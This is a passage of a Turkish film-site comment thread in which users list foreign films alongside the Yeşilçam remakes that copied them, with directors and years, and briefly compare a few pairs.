    - “After Hours” (Martin Scorsese -1985)
    - “Beyoğlu’nun Arka Yakası” (Şerif Gören – 1986)

    - “On Golden Pond” (Mark Rydell – 1981)
    - “Yengeç Sepeti” (Yavuz Özkan – 1995)

    - “BUtterfield 8″ (Daniel Mann – 1960)
    - “Metres” (Orhan Elmas – 1983)

    - “Love in the Afternon” (Billy Wilder – 1957)
    - “Arım Balım Peteğim” (Muzaffer Arslan – 1970)

    - “Johnny Eager” (Mervyn LeRoy – 1942)
    - “Maceralar Kralı” (Hulki Saner – 1963)

    - “Garip Kuş” (Yücel Çakmaklı – 1974)
    - (* Bir Hint filminden kopya imiş.)

    - “The Visit” (Bernhard Wicki – 1964)
    - “Ziyaret” (Kaya Ererez – 1987)

    - “Rocco e i suoi fratelli” (Luchino Visconti – 1960)
    - “Meryem ve Oğulları” (Osman F. Seden – 1977)

    - “…continuavano a chiamarlo Trinita” (Enzo Barboni – 1971)
    - “Bitirim Kardeşler” (Zeki Ökten – 1973)

    - “A Song is Born” (Howard Hawks – 1948)
    - “Ateş Gibi Kadın” (Aram Gülyüz – 1965)

    - “Der blaue Engel” (Josef von Sternberg – 1930)
    - “Şehvet Kurbanı” (Muhsin Ertuğrul – 1940 ve Nejat Saydam – 1972)

    - “Let’s Make Love” (George Cukor – 1960)
    - “Kısmet” (Temel Gürsu – 1974)

  • okaliptus80 diyor ki:


    - “Lipstick” (Lamont Johnson – 1976)
    - “Arzu” (Şahin Gök – 1985)

    - “Last Exit to Brooklyn” (Uli Edel – 1989)
    - “Gece Melek ve Bizim Çocuklar” (Atıf Yılmaz – 1993)

    - “The Other Side of Midnight” (Charles Jarrott – 1977)
    - “Alev Alev” (Halit Refiğ – 1984)

    - “Porte des Lilas” (Rene Clair – 1957)
    - “Bizim Mahalle” (Çetin İnanç – 1982)

    - “The Snake Pit” (Anatole Litvak – 1948)
    - “İki Süngü Arasında” (Ülkü Erakalın – 1973)

    - “Madame X” (David Lowell Rich – 1966)
    - “Meçhul Kadın” (Ö. Lütfi Akad – 1955) & “O Kadın” (Zafer Davutoğlu – 1966)

    - “Dramatic School” (Robert B. Sinclair – 1938)
    - “Genç Kızlar” (Nevzat Pesen – 1963)

    - “Cleo de 5 a 7″ (Agnes Varda – 1962)
    - “Sensiz Yaşayamam” (Metin Erksan – 1979)

    - “Orphans of the Storm” (D.W. Griffith – 1921)
    - “İki Yetime” (Ülkü Erakalın – 1961)

    - “Eyewitness” (John Hough – 1970)
    - “Yumurcak Küçük Şahit” (Türker İnanoglu – 1972)

    Amerikan Televizyonu’ndan Yeşilçam’a;
    - “Görevimiz Tehlike” – 1972, Görevimiz Tehlike, Y: Yavuz Figenli
    - “Tatlı Cadı” – 1975, Tatlı Cadı’nın Maceraları, Y: Ertem Göreç
    - “Tatlı Sert” – 1975, Tatlı Sert, Y: Melih Gülgen
    - “Kaygısızlar” – 1978, Kaygısızlar, Y: Çetin İnanç
    - “Charlie’nin Melekleri” – 1978, Çarli’nin Kelekleri, Y: Günay Kosova

    - “The Magnificent Seven” (John Sturges – 1960)
    - “On Korkusuz Adam” (Tunç Başaran – 1964)

    - “Irma la Douce” (Billy Wilder – 1963)
    - “Kırmızı Fener Sokağı” (Natuk Baytan – 1968)

    - “The Adventures of Robin Hood” (Michael Curtiz – 1938)
    - “Vatan Kurtaran Aslan” (Tunç Başaran – 1966)

    - “First Blood” (Ted Kotcheff – 1982)
    - “Vahşi Kan” (Çetin İnanç – 1983)

    - “Great Dictator” (Charles Chaplin – 1940)
    - “Cilalı İbo Casuslar Arasında” (Nuri Ergün -1959)

    - “An Affair to Remember” (Leo McCarey – 1957)
    - “Sonbahar Rüzgarları” (Mehmet Dinler – 1969)

    - “The Killers” (Robert Siodmak – 1946)
    - “Şeytanın Kurbanları” (Dr. Arşavir Alyanak – 1965)

    - “Golden Earrings” (Mitchell Leisen – 1947)
    - “Altın Küpeler” (Orhan Aksoy – 1966)

    - “A Star is Born” (George Cukor – 1954)
    - “Minik Serçe” (Atıf Yılmaz – 1979)

    - “Love Me or Leave Me ” (Charles Vidor – 1955)
    - “Sürtük” (Ertem Eğilmez – 1965)

    - “The Prisoner of Zenda” (John Cromwell – 1937)
    - “Yalancı” (Orhan Aksoy – 1965)

    - “The Desperate Hours” (William Wyler – 1955)
    - “Gecelerin Ötesi” (Metin Erksan – 1960)

    - “Les intrus” (Sergio Gobbi – 1972)
    - “Çirkin Dünya” (Osman F. Seden – 1974)

    - “Lassie Come Home” (Fred M. Wilcox – 1943)
    - “Mavi Boncuk Lassi” (Yahya Benekay – 1971)

    - “Lady in a Cage” (Walter Grauman – 1964)
    - “Asansör” (Mustafa Altıoklar – 1999)

    - “Dirty Dancing” (Emile Ardolino – 1987)
    - “Yalnızlık Bir Şarkıdır” (Yücel Uçanoğlu – 1987)

    - “Vietnam Sendromu’nu konu edinen Amerikan filmleri”…
    - “Kanca” (Melih Gülgen – 1986)

    - “Pocketful of Miracles” (Frank Capra – 1961)
    - “Elmacı Kadın” (Feyzi Tuna – 1971)

    - “Death Wish” (Michael Winner – 1974)
    - “Cellat” (Memduh Ün – 1975)

    - “Franco Franchi” (Yavru) ve “Ciccio Ingrassia” (Katip) ikilisinin çevirdiği İtalyan filmleri…
    - “Yavru ile Katip” (Feyzi Tuna – 1972)

    - “Violetera, La” (Luis César Amadori – 1958)
    - “Çiçekçi Kız” (Nejat Saydam – 1966)

    - “Move Over, Darling” (Michael Gordon – 1963)
    - “Acele Koca Aranıyor” (Muzaffer Arslan – 1975)

    - “Ask Any Girl” (Charles Walters – 1959)
    - “Ömre Bedel Kız” (Ertem Eğilmez – 1967)

    - “Fatal Attraction” (Adrian Lyne – 1987)
    - “Sapık Kadın” (Orhan Elmas – 1988)

    - “It Happened One Night” (Frank Capra – 1934)
    - “Evcilik Oyunu” (Orhan Aksoy – 1975)

    - “Turks fruit” (Paul Verhoeven – 1973)
    - “Pisi Pisi” (Osman F. Seden – 1975)

    - “Fanny” (Joshua Logan – 1961)
    - “Uzakta Kal Sevgilim” (Ülkü Erakalın – 1965)

  • Rashomon diyor ki:

    ‘Love in the Afternoon’ {Öğleden Sonra Aşk – 1957} / Billy Wilder

    ‘Arım, Balım, Peteğim’ {1970} / Muzaffer Aslan

    İçerik olarak bazı farklılıkları olsa da birebire yakın bir öykünmedir. Dünya sinemasının iki büyük oyuncusunun (Gary Cooper & Audrey Hepburn} karşısına, Türk sinemasının iki büyük oyuncusu (Cüneyt Arkın & Türkan Şoray} çıkarılmalıydı. İki film de oldukça komik, fakat orijinalindeki mizah anlayışı bir hayli farklı ve güzel. Ne de olsa üstad Wilder.

  • okaliptus80 diyor ki:

    - ‘Buddy Buddy’ (1981) / Billy Wilder
    - ‘Baş Belası’ (1982) / Kartal Tibet

    Bir otel ve iki zıt karakterli misafir… Tuttuğu odayı son bir icraat için kullanmak isteyen kiralık katil ve ayağına dolanacak olan intihara meyilli bir aşk mağduru…

    Buddy Buddy, Billy Wilder’in son filmi. Yönetmenin usta işi filmlerinin yanında oldukça sönük kalmıştı tabi. Bir de öyle bariz mantık hataları barındırıyordu ki, bu hatalar bence filmin keyfini büsbütün kaçırmaya yetmişti. (Polis kordonundaki olay mahalinden, hem de en sıcak dakikalarda elini kolunu sallayarak geçen araba desem kâfi.)

    Baş Belası, orjinaline yakın bir öykünme olmuştu olay örgüsü itibariyle. Ben de rashomon’un son örneğindeki gibi ifade edersem: Jack Lemmon ve Walter Matthau ikilisinin karşısına, onlar kadar uyumlu Zeki Alasya ve Metin Akpınar çıkarılmalıydı.

  • okaliptus80 diyor ki:

    - ‘Le passager de la pluie’ (Yağmurla Gelen Adam – 1970) / Rene Clement

    - ‘Yağmur Altındaki Kedi’ (1989) / Yücel Uçanoğlu

    Bir kasabaya, para dolu çantasıyla kaçak soyguncu gelir. Kadın düşkünüdür ve takip ettiği bir kadına evinde saldırır. Tabii cezasını da bulur. Kadın, cesetten de kurtulur. Ta ki “gizemli” ve zeki bir dedektif, kayıp paraları soruşturmak üzre kasabaya gelene kadar. Kedi fare oyunu başlar.

    Uçanoğlu’nun filmi, çok düz ve basit bir uyarlama olmuş. Clement’in eseri, kedi-fare oyununun hakkını daha bir veriyordu. Bir de yanlış aklımda kalmadıysa orijinalinde yurt dışı serüveni de vardı.

    Charles Bronson’a karşılık gelen, Atilla Saral olmuş. Kadını da Ahu Tuğba oynuyor.

  • okaliptus80 diyor ki:

    ‘Gheisar’ (1969) / Masud Kimiai

    ‘Alın Yazısı’ (1972) / Orhan Aksoy

    Birer intikam öyküsü. Dram da yoğun.
    Tema müziğine dek uyarlamıştık o ünlü İran filmini. Müzik de müzikti yalnız.

Yorumunuzu bildirin

Yazı hakkında yorum yapabilmeniz için giriş yapmalısınız.

Kategoriler
  • Dosyalar
  • +DVD Köşesi
  • +Festival ve Seçkiler
  • +Film Eleştirileri
  • +Genel
  • +Hacksaw Ridge
  • +Söyleşiler
  • +Yönetmenler